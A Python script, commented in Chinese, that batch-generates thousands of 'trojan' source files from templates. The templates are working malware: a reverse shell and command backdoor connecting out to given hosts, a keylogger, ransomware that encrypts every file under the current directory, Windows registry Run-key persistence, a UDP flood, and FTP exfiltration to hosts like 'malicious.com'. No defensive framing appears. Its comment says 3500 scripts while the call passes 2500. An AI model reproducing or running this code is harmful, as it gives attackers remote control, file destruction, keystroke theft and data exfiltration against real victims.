import os
import random
from cryptography.fernet import Fernet

# 创建木马类型对应的文件夹
def create_directories():
    directories = ['reverse_shell', 'keylogger', 'ransomware', 'backdoor', 'persistence_backdoor', 'dos_attack', 'ftp_exfiltration']
    for directory in directories:
        if not os.path.exists(directory):
            os.makedirs(directory)

# 木马类型生成函数
def generate_reverse_shell(ip, port):
    return f"""
import socket
import subprocess

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("{ip}", {port}))
while True:
    command = s.recv(1024).decode("utf-8")
    if command.lower() == "exit":
        break
    output = subprocess.getoutput(command)
    s.send(output.encode("utf-8"))
s.close()
"""

def generate_keylogger(logfile):
    return f"""
import pynput.keyboard

def on_press(key):
    with open("{logfile}", "a") as f:
        f.write(str(key) + "\\n")

keyboard_listener = pynput.keyboard.Listener(on_press=on_press)
keyboard_listener.start()
keyboard_listener.join()
"""

def generate_ransomware(encryption_key):
    return f"""
import os
from cryptography.fernet import Fernet

key = "{encryption_key}".encode()
cipher = Fernet(key)

for root, dirs, files in os.walk("."):
    for file in files:
        file_path = os.path.join(root, file)
        with open(file_path, "rb") as f:
            data = f.read()
        encrypted_data = cipher.encrypt(data)
        with open(file_path, "wb") as f:
            f.write(encrypted_data)
"""

def generate_backdoor(ip, port):
    return f"""
import socket
import subprocess

def connect():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(("{ip}", {port}))
    while True:
        command = s.recv(1024).decode("utf-8")
        if command.lower() == "exit":
            break
        output = subprocess.getoutput(command)
        s.send(output.encode("utf-8"))
    s.close()

connect()
"""

def generate_persistence_backdoor(backdoor_location, registry_key_name):
    return f"""
import os
import subprocess

def persistence():
    if not os.path.exists("{backdoor_location}"):
        os.system(f'copy {{__file__}} "{backdoor_location}"')
        os.system(f'reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v {registry_key_name} /t REG_SZ /d "{backdoor_location}"')

persistence()
"""

def generate_dos_attack(target_ip, port):
    return f"""
import socket

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
bytes = b'\\x00' * 1024

while True:
    sock.sendto(bytes, ("{target_ip}", {port}))
"""

def generate_ftp_exfiltration(server, username, password):
    return f"""
from ftplib import FTP

def exfiltrate():
    ftp = FTP("{server}")
    ftp.login(user="{username}", passwd="{password}")
    with open('exfiltrate.txt', 'rb') as f:
        ftp.storbinary('STOR exfiltrate.txt', f)

exfiltrate()
"""

# 随机生成木马脚本类型并返回其目录名和生成的代码
def random_trojan_generator():
    types = {
        'reverse_shell': generate_reverse_shell,
        'keylogger': generate_keylogger,
        'ransomware': generate_ransomware,
        'backdoor': generate_backdoor,
        'persistence_backdoor': generate_persistence_backdoor,
        'dos_attack': generate_dos_attack,
        'ftp_exfiltration': generate_ftp_exfiltration
    }

    selected_type = random.choice(list(types.keys()))
    if selected_type == 'reverse_shell':
        ip = f"192.168.{random.randint(0, 255)}.{random.randint(0, 255)}"
        port = random.randint(1024, 65535)
        return selected_type, types[selected_type](ip, port)
    elif selected_type == 'keylogger':
        logfile = f"keylogs_{random.randint(1, 1000)}.txt"
        return selected_type, types[selected_type](logfile)
    elif selected_type == 'ransomware':
        encryption_key = Fernet.generate_key().decode()
        return selected_type, types[selected_type](encryption_key)
    elif selected_type == 'backdoor':
        ip = f"192.168.{random.randint(0, 255)}.{random.randint(0, 255)}"
        port = random.randint(1024, 65535)
        return selected_type, types[selected_type](ip, port)
    elif selected_type == 'persistence_backdoor':
        # 在macOS或Linux系统上使用HOME环境变量，在Windows上使用APPDATA
        base_dir = os.getenv('APPDATA') or os.getenv('HOME')
        backdoor_location = os.path.join(base_dir, f'backdoor_{random.randint(1, 1000)}.exe')
        registry_key_name = f'backdoor_{random.randint(1, 1000)}'
        return selected_type, types[selected_type](backdoor_location, registry_key_name)
    elif selected_type == 'dos_attack':
        target_ip = f"192.168.{random.randint(0, 255)}.{random.randint(0, 255)}"
        port = random.randint(80, 8080)
        return selected_type, types[selected_type](target_ip, port)
    elif selected_type == 'ftp_exfiltration':
        server = f"ftp.{random.choice(['example.com', 'test.com', 'malicious.com'])}"
        username = f"user{random.randint(100, 999)}"
        password = f"pass{random.randint(1000, 9999)}"
        return selected_type, types[selected_type](server, username, password)

# 批量生成木马脚本，并保存到对应类型的文件夹中
def generate_trojans(batch_size):
    create_directories()
    counters = {key: 1 for key in ['reverse_shell', 'keylogger', 'ransomware', 'backdoor', 'persistence_backdoor', 'dos_attack', 'ftp_exfiltration']}

    for _ in range(batch_size):
        trojan_type, trojan_code = random_trojan_generator()
        filename = f"{trojan_type}/trojan_{counters[trojan_type]}.py"
        with open(filename, "w") as f:
            f.write(trojan_code)
        counters[trojan_type] += 1

# 生成3500个木马脚本
generate_trojans(2500)
